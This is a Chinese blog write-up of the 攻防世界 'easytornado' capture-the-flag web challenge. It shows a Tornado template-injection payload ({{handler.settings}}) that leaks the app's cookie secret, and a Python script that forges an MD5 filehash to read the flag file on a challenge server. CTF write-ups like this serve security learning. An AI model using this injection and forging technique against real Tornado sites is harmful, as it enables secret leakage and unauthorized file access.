攻防世界:web easytornado

真不easy

提取有用信息:

打开网站,发现有三个文件
image

  • flag.txt: 告诉了我们flag的位置
    image
  • welcome.txt:告诉我们这是和render渲染函数有关,即可能存在SSTI漏洞
    image
  • hints.txt: 告诉了我们某个东西的加密方式
    image
    根据经验,盲猜这是个身份验证的秘钥,看见URL后面的东西像MD5加密后的密文,所以猜测可能就是filehash的值
    image

所以,我们访问/fllllllllllllag文件获取flag的格式就是:http://...//file?filename=/fllllllllllllag&filehash=xxxxxxxxxxxxxxxxxxxxxxxxxx

寻找漏洞

我们要寻找的肯定是SSTI漏洞
我们发现,只要在URL后面输入{{...}}的内容一定会跳转到error网站
image
那就猜想这个网站可能有SSTI漏洞咯
image
果然存在SSTI漏洞,那么现在就是招漏洞注入点

百度,找tornado的特点:

你也不知道,所以百度:tornado的漏洞
其实也不需要看懂,碰到了查一下就好
image
注入:/error?msg={{handler.settings}}

image
得到了一串:
根据加密规则,写python脚本进行加密

import hashlib
filename='/fllllllllllllag'
cookie_security="557da611-8ab8-4cd2-916d-e075279074cd"


def getvalue(string):
	md5=hashlib.md5()
	md5.update(string.encode('utf-8'))
	return md5.hexdigest() #返回十六进制md5值(默认返回的是二进制)
def merge():
	flag=getvalue(cookie_security+getvalue(filename))
	#print(flag)
	payload='http://111.200.241.244:58389/file?filename=/fllllllllllllag&filehash='+flag
	print(payload)
if __name__=='__main__':
	merge()

得到
image
直接输入这个URL就好了
image

posted @ 2021-09-05 19:14  Zeker62  阅读(91)  评论(0编辑  收藏  举报